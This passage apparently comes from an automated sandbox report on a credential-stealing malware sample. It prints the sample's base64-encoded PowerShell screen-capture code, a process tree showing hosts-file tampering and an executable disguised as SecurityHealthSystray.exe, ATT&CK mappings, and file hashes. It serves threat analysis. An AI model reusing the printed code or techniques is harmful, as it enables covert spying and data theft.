QgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z54r3hvp\z54r3hvp.cmdline"
    3⤵
    PID:4364
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:2564
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4165c906a376e655973cef247b5128f1

SHA1
c6299b6ab8b2db841900de376e9c4d676d61131e

SHA256
fb0b3c822d300abbb892e6f218d6b4b62b80bb26d9184d1f4c731600053a3fc4

SHA512
15783f2d3687388339c06423bd18c17a5704cd367bf1a1d08e436088984c0b5c52dc88d3b8455495a8051ba9f977aae34b69453e5ee252d928e74dcdebd4a11a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ysz35b41.sif.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.8MB

MD5
c3861650fea820473f9d2b62ea6f2121

SHA1
a84f38e3cd2fc945025b4a236a7828e1c03ce464

SHA256
0bf404afce27bee5cd8e9b2f15077d8e4caf1058f94f23aa220d2958081571f3

SHA512
252ec0bf7874097a62ec3890b7a0ee1fe57b6114984b485aea9b0ccaa37e612634a99782270d9a02c5592fc29013232406b2ab20c472fa82f7167a06ad30b046

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z54r3hvp\z54r3hvp.0.cs

Filesize
989B

MD5
e05565544d17d446f3e0532be5cb77db

SHA1
c931aa2ac27c293d36505523b198844d4d8a3524

SHA256
05f2a75e88e7ba4622f80a8b22ee83bae77de6853eb95c3e43f269e32d261509

SHA512
046970d59cd2a0321d45d23122e4cfa3cc460cee399183efc583a5abfcf51eb76488ac87cce4ff2bad2ab54d417231473556f50866adcab6787995dbbb04c68d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\z54r3hvp\z54r3hvp.cmdline

Filesize
607B

MD5
49b101e6a087d48d18a2d60a67e5dc71

SHA1
8bc1d2c1a7d9b0745841aee5f22e205ead52160f

SHA256
a7cf2da65ef06409ee5e7b2d4bf8a0acc32aa3aabbfc65db3b40c49035beeabf

SHA512
88e9918d48a2de087b88a05421a06dfbda3385aa08617b8e442b115e0c27ed3dce8c3d3012f4fc7aee3386e7eef1396bbcb9b801ae2b49b54348951f083337db

Download Submit
memory/2332-12-0x00007FF9DB8B0000-0x00007FF9DC371000-memory.dmp

Filesize
10.8MB

Download
memory/2332-25-0x00007FF9DB8B0000-0x00007FF9DC371000-memory.dmp

Filesize
10.8MB

Download
memory/2332-15-0x00007FF9DB8B0000-0x00007FF9DC371000-memory.dmp

Filesize
10.8MB

Download
memory/2332-1-0x00007FF9DB8B3000-0x00007FF9DB8B5000-memory.dmp

Filesize
8KB

Download
memory/2332-11-0x0000024D72190000-0x0000024D721B2000-memory.dmp

Filesize
136KB

Download